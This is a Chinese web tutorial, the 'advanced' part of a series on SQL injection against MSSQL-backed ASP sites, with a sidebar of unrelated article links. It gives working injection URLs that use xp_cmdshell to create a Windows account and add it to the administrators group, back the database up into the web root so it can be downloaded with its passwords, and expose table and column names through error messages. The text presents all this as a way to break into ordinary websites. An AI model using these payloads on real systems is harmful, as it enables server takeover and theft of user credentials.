看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。
一、利用系统表注入sqlserver数据库
sqlserver是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
① http://site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在sqlserver中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在sqlserver中将被分成两句执行,先是select出id=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
② http://site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
③ http://site/url.asp?id=1 ;;and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
④ http://site/url.asp?id=1;backup database 数据库名 to disk=’c:inetpubwwwroot.db’;--
这是相当狠的一招,从③拿到的数据库名,加上某些iis出错暴露出的绝对路径,将数据库备份到web目录下面,再用http把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如202.96.xx.xxshare.db),但成功率不高。
⑤ http://site/url.asp?id=1 ;;and (select top 1 name from sysobjects where xtype=’u’ and status>0)>0
前面说过,sysobjects是sqlserver的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’u’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
⑥ http://site/url.asp?id=1 ;;and (select top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部id,col_name(表名id,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
以上6点是我研究sqlserver注入半年多以来的心血结晶,可以看出,对sqlserver的了解程度,直接影响着成功率及猜解速度。在我研究sqlserver注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。
二、绕过程序限制继续注入
在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。
SQL注入漏洞全接触高级篇_Mssql系列教程
来源:这里教程网
时间:2026-02-28 05:57:27
作者:
编辑推荐:
- SQL注入漏洞全接触高级篇_Mssql系列教程02-28
- sql Joins 教程02-28
- 在连接到 SQL Server 2005 ,provider: 命名管道提供程序, error:02-28
- 修复SQL Server的MDF文件的方法02-28
- sql数据库聚集索引和非聚集索引示例02-28
- MySQL GROUP BY 教程02-28
- 常用精典sql语句集合02-28
- Sql Server 2005 专用管理员连接 (DAC) 使用技巧02-28
下一篇:
相关推荐
-
雷神推出 MIX PRO II 迷你主机:基于 Ultra 200H,玻璃上盖 + ARGB 灯效
2 月 9 日消息,雷神 (THUNDEROBOT) 现已宣布推出基于英
-
制造商 Musnap 推出彩色墨水屏电纸书 Ocean C:支持手写笔、第三方安卓应用
2 月 10 日消息,制造商 Musnap 现已在海外推出一款 Oce
热文推荐
- Win11 21H2版本停止服务要升级系统吗?
Win11 21H2版本停止服务要升级系统吗?
26-02-28 - SQLServer执行计划成本(续1)
SQLServer执行计划成本(续1)
26-02-28 - 修改电脑、伺服器名称后,SQL Server 的修正作业--补遗篇
修改电脑、伺服器名称后,SQL Server 的修正作业--补遗篇
26-02-28 - 新手必备,教你轻松安装Win10系统!
新手必备,教你轻松安装Win10系统!
26-02-28 - Windows开机黑屏如何重装系统?【图文详解】
Windows开机黑屏如何重装系统?【图文详解】
26-02-28 - 云计算之路-阿里云上:超级奇怪的“黑色10秒钟”
云计算之路-阿里云上:超级奇怪的“黑色10秒钟”
26-02-28 - 解决SYS本地登录或远程登录引起ORA-01031错误方法
解决SYS本地登录或远程登录引起ORA-01031错误方法
26-02-28 - ora-12154:tns:无法解析指定的连接标识符
ora-12154:tns:无法解析指定的连接标识符
26-02-28 - 创建 Oracle 分页存储过程
创建 Oracle 分页存储过程
26-02-28 - NoSQL学习之路(四):创建、读
NoSQL学习之路(四):创建、读
26-02-28
